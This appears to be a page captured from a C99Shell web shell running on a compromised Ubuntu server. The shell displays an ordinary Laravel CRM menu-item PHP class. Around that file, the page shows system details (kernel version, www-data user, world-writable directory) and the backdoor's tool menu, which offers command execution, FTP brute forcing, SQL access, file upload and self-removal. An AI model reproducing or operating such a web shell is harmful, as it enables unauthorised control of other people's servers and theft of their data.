!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Core/src/Menu/   drwxrwxrwx
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MenuItem.php (3.4 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Core\Menu;

use 
Illuminate\Support\Collection;

class 
MenuItem
{
    
/**
     * Create a new MenuItem instance.
     *
     * @return void
     */
    
public function __construct(
        private 
string $key,
        private 
string $name,
        private 
string $route,
        private 
string $url,
        private 
int $sort,
        private 
string $icon,
        private 
string $info,
        private 
Collection $children,
    ) {}

    
/**
     * Set name of menu item.
     */
    
public function setName(string $name): self
    
{
        
$this->name $name;

        return 
$this;
    }

    
/**
     * Get name of menu item.
     */
    
public function getName(): string
    
{
        return 
$this->name;
    }

    
/**
     * Set position of menu item.
     */
    
public function setPosition(int $sort): self
    
{
        
$this->sort $sort;

        return 
$this;
    }

    
/**
     * Get position of menu item.
     */
    
public function getPosition()
    {
        return 
$this->sort;
    }

    
/**
     * Set icon of menu item.
     */
    
public function setIcon(string $icon): self
    
{
        
$this->icon $icon;

        return 
$this;
    }

    
/**
     * Get the icon of menu item.
     */
    
public function getIcon(): string
    
{
        return 
$this->icon;
    }

    
/**
     * Set info of menu item.
     */
    
public function setInfo(string $info): self
    
{
        
$this->info $info;

        return 
$this;
    }

    
/**
     * Get info of menu item.
     */
    
public function getInfo(): string
    
{
        return 
$this->info;
    }

    
/**
     * Set route of menu item.
     */
    
public function setRoute(string $route): self
    
{
        
$this->route $route;

        return 
$this;
    }

    
/**
     * Get current route.
     */
    
public function getRoute(): string
    
{
        return 
$this->route;
    }

    
/**
     * Set url of menu item.
     */
    
public function setUrl(string $url): self
    
{
        
$this->url $url;

        return 
$this;
    }

    
/**
     * Get the url of the menu item.
     */
    
public function getUrl(): string
    
{
        return 
$this->url;
    }

    
/**
     * Set the key of the menu item.
     */
    
public function setKey(string $key): self
    
{
        
$this->key $key;

        return 
$this;
    }

    
/**
     * Get the key of the menu item.
     */
    
public function getKey(): string
    
{
        return 
$this->key;
    }

    
/**
     * Set children of menu item.
     */
    
public function setChildren(Collection $children): self
    
{
        
$this->children $children;

        return 
$this;
    }

    
/**
     * Check weather menu item have children or not.
     */
    
public function haveChildren(): bool
    
{
        return 
$this->children->isNotEmpty();
    }

    
/**
     * Get children of menu item.
     */
    
public function getChildren(): Collection
    
{
        if (! 
$this->haveChildren()) {
            return 
collect();
        }

        return 
$this->children;
    }

    
/**
     * Check weather menu item is active or not.
     */
    
public function isActive(): bool
    
{
        if (
request()->fullUrlIs($this->getUrl().'*')) {
            return 
true;
        }

        if (
$this->haveChildren()) {
            foreach (
$this->getChildren() as $child) {
                if (
$child->isActive()) {
                    return 
true;
                }
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0163 ]--